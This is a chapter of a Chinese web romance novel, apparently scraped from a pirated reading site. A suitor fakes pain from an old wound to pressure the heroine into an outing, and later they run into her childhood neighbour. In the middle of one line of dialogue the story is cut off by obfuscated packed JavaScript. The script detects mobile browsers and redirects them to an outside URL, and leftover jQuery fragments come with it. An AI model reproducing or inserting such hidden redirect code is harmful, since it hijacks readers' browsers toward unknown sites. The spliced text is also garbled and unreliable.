37. 愿者上钩(33)
作品:《甜文作者翻车实录》 小区外不远有条热闹的小食街,冬日傍晚,华灯初上,各家店铺门口氤氲着食物诱人的白气。
姜茶挑了一家相对安静,位置靠里的火锅店,暖气开得足,玻璃窗上很快蒙上一层薄薄的水雾,将外面的喧嚣和可能的熟人视线模糊隔绝。
宋淮翊显然很满意这个选择,脱掉厚重的大衣,里面是件柔软的米白色高领毛衣,衬得他面容更显白皙俊朗。
他殷勤地帮姜茶烫餐具,倒茶水,眼睛亮得像藏了星星,嘴角噙着得逞后毫不掩饰的笑意。
“茶茶,”他拖着长音,用公筷夹起一片刚烫好的雪花肥牛,极其自然地放进姜茶碗里,动作熟稔得仿佛做过千百遍,“这个熟了,快吃。”
姜茶看着碗里那片肉,又看看对面那张过分热情的脸,无奈地叹了口气:“宋淮翊,好好吃饭,而且……我说了别叫我茶茶。”
这称呼从他嘴里出来,总带着一股说不清道不明的亲昵和撒娇意味。
“哦。”他应得乖巧,但下一秒,眼睛又亮起来,身体微微前倾,压低声音,带着一种大型犬摇尾乞怜的真诚,“茶茶,你寒假在家是不是很无聊?”
不等姜茶回答,他就眼神灼灼,充满了期待的开口,“这两天有个新开的滑雪场,就在邻市,听说设施特别好,雪道也棒,我们去玩两天吧?我开车,保证安排得妥妥当当!”
姜茶听到这话差点被一口热茶呛到:“咳咳……滑雪?”
姜茶不知宋淮翊是故意还是无意,她放下杯子,斩钉截铁,“不去。我要在家陪爸妈,还要和闺蜜聚会,忙得很。”
开什么玩笑,跟他单独出去两天?想想都头皮发麻,况且他们又不熟。
“一天,一天也行的。”宋淮翊立刻退让,但语气依旧执着,“或者就去市郊那个温泉山庄,泡泡温泉放松一下也好啊?”
他试图找出姜茶一定“需要”出去玩的理由,“你回家肯定天天窝在家里,多没意思,你想去哪儿我都可以陪你。”
“宋淮翊,”姜茶揉了揉眉心,感觉太阳穴突突地跳,“我真的没空,而且我们俩单独出去玩,不合适。”
听到这话,宋淮翊脸上的光彩瞬间黯淡了几分,他放下筷子,长长的睫毛垂下来,在眼下投下一小片阴影。
他沉默了几秒,就在姜茶以为他终于要消停的时候,他忽然抬手,轻轻捂住了自己曾经受伤的侧腹位置。
宋淮翊眉头微蹙,声音也带上了点不易察觉的脆弱:“嘶……可能是刚才站久了,又吹了风,伤口这里……好像有点隐隐作痛……”
姜茶:“……”又来这招!
姜茶抬眼瞪他,宋淮翊立刻抬起那双漂亮的眼睛,里面盛满了恰到好处的“无辜”和“难受”,眼巴巴地望着她,眼角那颗痣都仿佛在控诉她的“狠心”。
他甚至还微微吸了口气,一副强忍不适的样子。
“宋淮翊!”姜茶简直被他气笑了,这演技不去当演员真是可惜了,“你别装了。”
“真的疼……”他声音更低了,带着点鼻音,听起来委屈极了,“那地方当时伤得挺深的,医生说恢复期要小心,不能累着,也不能情绪太激动……你看我现在,又累又委屈……”
他越说越“有理”,把自己塑造成了一个“身心俱疲”的可怜伤员。
火锅的热气在两人之间升腾,宋淮翊那张带着“痛苦”面具的俊脸在雾气后面若隐若现,眼神却执拗地锁着她。
姜茶知道他是装的,可看着他这副样子,再想到他当时确实是为了救自己受的伤,拒绝的话到了嘴边,怎么也说不出口。
她烦躁地搅了搅碗里的调料,最终败下阵来,几乎是咬牙切齿地说:“就半天,最多半天,而且就在市内逛逛,逛完就立刻回家。”
宋淮翊眼底的“痛苦”瞬间烟消云散,亮光“唰”一下重新点燃,速度快得惊人。
他立刻坐直身体,脸上绽放出一个灿烂得晃眼的笑容,仿佛刚才那个“伤口疼”的人根本不是他:“半天也行,茶茶你真好,我就知道你舍不得我难受!”
他立刻拿起公筷,又殷勤地给姜茶夹菜,“多吃点,吃饱了我们明天……哦不,哪天你有空?我都可以的。”
姜茶觉得自己又被套路了,没好气地白他一眼:“再说!先吃饭!”,她只想赶紧堵住他那张喋喋不休的嘴。
为了尽快将人送走,姜茶定了第二天和他见面,地点选在市中心的文创公园,人不少,但相对开阔,姜茶觉得安全系数高一点。
宋淮翊倒是兴致高昂,穿了件活力十足的亮色羽绒服,配上他那张青春洋溢的脸,俊美热烈,简直晃花了人的眼睛。
他一会儿指着路边卖糖画的摊子说要给姜茶买个小兔子,一会儿又拉着她去看一群年轻人玩滑板,嘴里还不停说着学校里的趣事,试图逗她开心。
姜茶被他缠得紧,虽然觉得他聒噪,但看着他阳光下明朗的笑容,只当是陪一个过于热情的朋友打发时间。
就在他们走到公园里一个仿古建筑的回廊下,宋淮翊正比划着要姜茶给他拍照时,一个熟悉的声音带着点迟疑响起:“茶茶?”
姜茶闻声回头,只见薛凯阳穿着一身深灰色的休闲大衣,手里拎着个印着书店logo的纸袋,正站在几步开外的地方看着她,以及她身边笑容灿烂,姿态亲昵的宋淮翊。
薛凯阳的目光在姜茶和宋淮翊之间转了个来回,眼神里的温和笑意瞬间凝固,随即染上了一层复杂的情绪。
他扯了扯嘴角,露出一个惯常的温和笑容,但那笑意并未到达眼底:“这么巧,你终于舍得出门了?”
姜茶回来后第一时间就给薛凯阳送了礼物,他自然知晓姜茶回来了,不过姜茶平时喜欢待在家里,薛凯阳想带姜茶出来玩,姜茶拒绝了,没想到她现在却陪一个男生逛街。
“薛凯阳,”姜茶见到他,倒是松了口气,像是找到了一个可以暂时摆脱宋淮翊纠缠的救星,“是啊,家里太闷出来走走,你去书店了?”
“嗯,刚去书店补了点资料。”薛凯阳走近几步,目光落在宋淮翊身上,带着恰到好处的询问,“这位是……?”
“哦,他是我……”姜茶刚想介绍是“朋友”,宋淮翊却已经自来熟地伸出手,笑容不减,带着点少年人的张扬和宣告主权的意味:“你好,宋淮翊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035441|177564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶茶的好朋友。”
他刻意加重了“好朋友”三字,眼神里带着审视和不易察觉的警惕,眼前这个男人气质沉稳,看姜茶的眼神……让他很不舒服。
薛凯阳听到“宋淮翊”三个字,下意识想起了宋淮昱,那天他们匆匆见过一面,不知道两人是什么关系。
怕姜茶尴尬,薛凯阳并没有当面问出口,只伸出手与宋淮翊短暂地交握了一下,力度适中,声音平静无波:“薛凯阳,茶茶的邻居。”
“原来是邻居哥哥啊。”宋淮翊像是恍然大悟,语气轻松,心里却冷哼,对方这是在炫耀他和姜茶青梅竹马?
宋淮翊想和姜茶离开,他不喜欢寒暄,今天好不容易将人带出来,只有半天时间,他可不想再多个电灯泡,他悄咪咪的拉了一下姜茶的袖子。
“你一会儿要去哪儿?”姜茶像是没感觉到,她想拉着薛凯阳一起逛街,这样后面既不用再和薛凯阳出门,还能防止宋淮翊的抽风行为。
见姜茶不为所动,甚至还想拉着外人一起逛街,宋淮翊使出了杀手锏,他拉了拉姜茶的袖子,在她耳边低声道:“站的久了伤口疼,我们走吧。”
宋淮翊声音不大,薛凯阳只模糊听到了“伤口”,他以为是姜茶受伤了,担心的开口询问,“什么伤口?伤哪儿了?”
听到薛凯阳这么问,还不等姜茶反应过来,宋淮翊便语气自豪的炫耀道:“你不知道吗?茶茶在学校差点被通知栏砸到,是我第一时间反应过来,保护她时受了点轻伤。”
薛凯阳脸上的温和彻底褪去,眉头骤然锁紧,看向姜茶的眼神充满了震惊和毫不掩饰的担忧:“告示栏?砸到?什么时候的事?伤到哪里了没有?”
他一连串的问题脱口而出,声音都绷紧了,那份沉稳从容消失不见,只剩下纯粹的紧张和后怕,他下意识地往前迈了一小步,似乎想仔细看看姜茶。
“凯阳哥,没事!真没事!”姜茶连忙摆手,有些尴尬地瞪了宋淮翊一眼,怪他多嘴,“就是有惊无险,你看我现在不是好好的嘛,都过去好久了。”
然而,薛凯阳的心却像被一只无形的手狠狠攥了一下,他看着姜茶轻描淡写的样子,再看看旁边那个一脸“我保护了她”的宋淮翊,一股浓烈的酸涩和心疼猛地涌了上来。
告示栏砸人……那得多危险,她竟然一个字都没跟家里提过,甚至也没跟他这个从小一起长大的哥哥提过,是觉得没必要?还是……怕他们会担心?
自从姜茶上大学后,两人渐行渐远。
他看着姜茶依旧没心没肺,仿佛什么事都没发生过的侧脸,又看看她身边那个年轻耀眼,可以毫无顾忌地表达关心和占有欲的宋淮翊,一种深深的无力感和失落感将他淹没。
他习惯了站在她身边,以一个温和可靠的兄长身份守护她,小心翼翼地隐藏着自己的心意,生怕那份情愫一旦说出口,连现在这样靠近的资格都会失去。
他怕自己也会像她那些短暂的“兴趣”一样,只是她生命里一个匆匆的过客。
他太了解姜茶,她的心像自由的风,难以捕捉,更难以长久停留,他不敢赌,宁愿守着这份看似安全的距离。

